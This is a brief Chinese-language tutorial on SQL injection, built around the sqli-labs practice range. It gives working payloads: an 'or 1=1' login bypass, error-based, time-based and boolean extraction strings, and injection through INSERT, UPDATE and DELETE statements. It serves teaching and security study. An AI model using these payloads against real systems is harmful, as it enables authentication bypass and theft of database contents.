在登陆处用于判断账号、密码,在数据库中使用select语句;在修改密码处,更新密码会使用update语句;在购物系统中,订单的添加、删除会使用insert、delete语句

数据库中创建一个test的表

create table TEST(id int(3),username varchar(25),password varchar(25),primary key(id))

账号登陆

通过SQL的‘or’运算符构造万能密码,以sqlilabs靶场的第11关为例

账号:admin' or '1'='1
密码:随意

在判断出注入点后,可以利用时间注入、布尔注入、报错注入接着获取更多的信息

报错注入:

uname=admin' or updatexml(1,concat(0x23,database(),0x23),1)#&&passwd=3421412sds

时间注入:

uname=admin' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#passwd=2142dwq

布尔注入:

uname=admin' and ascii(substr(database(),1,1)) =115#&&passwd=41234

insert注入

SQL语句:

insert into test(id,username,password) values('a','b','c');
insert into test values('4','version()','c');-- '','b','c');
insert into test values('4',USER(),'c');-- '','b','c');

此处的USER()就是构造的payload,单引号闭合会使得payload变成字符串,可以接着获取更多数据库信息

实际中无法知道数据库中表的列数,可以先尝试用数字代替字符串的列(字符串无法代替数字),错误时会插入失败

insert into test values('1',2,3,4,5,6,7);-- '','b','c');

insert into test values('1',2,3);-- '','b','c');

update注入

SQL语句:

update test set name='shiqi' where id=1;
update test set username='adwdas',password='user()' where id=2-- ' where id=2;
update test set username='adwdas',password=user() where id=1-- ' where id=1;

与insert类似,除了闭合位置不同,其他的完全一样;此时password处的user()就是构造的攻击语句

delete注入

SQL语句:

delete from test where id=2;
delete from test where id=2 and if(1=1,sleep(5),0);

判断出注入点就可以构造其他的攻击语句,获取更多信息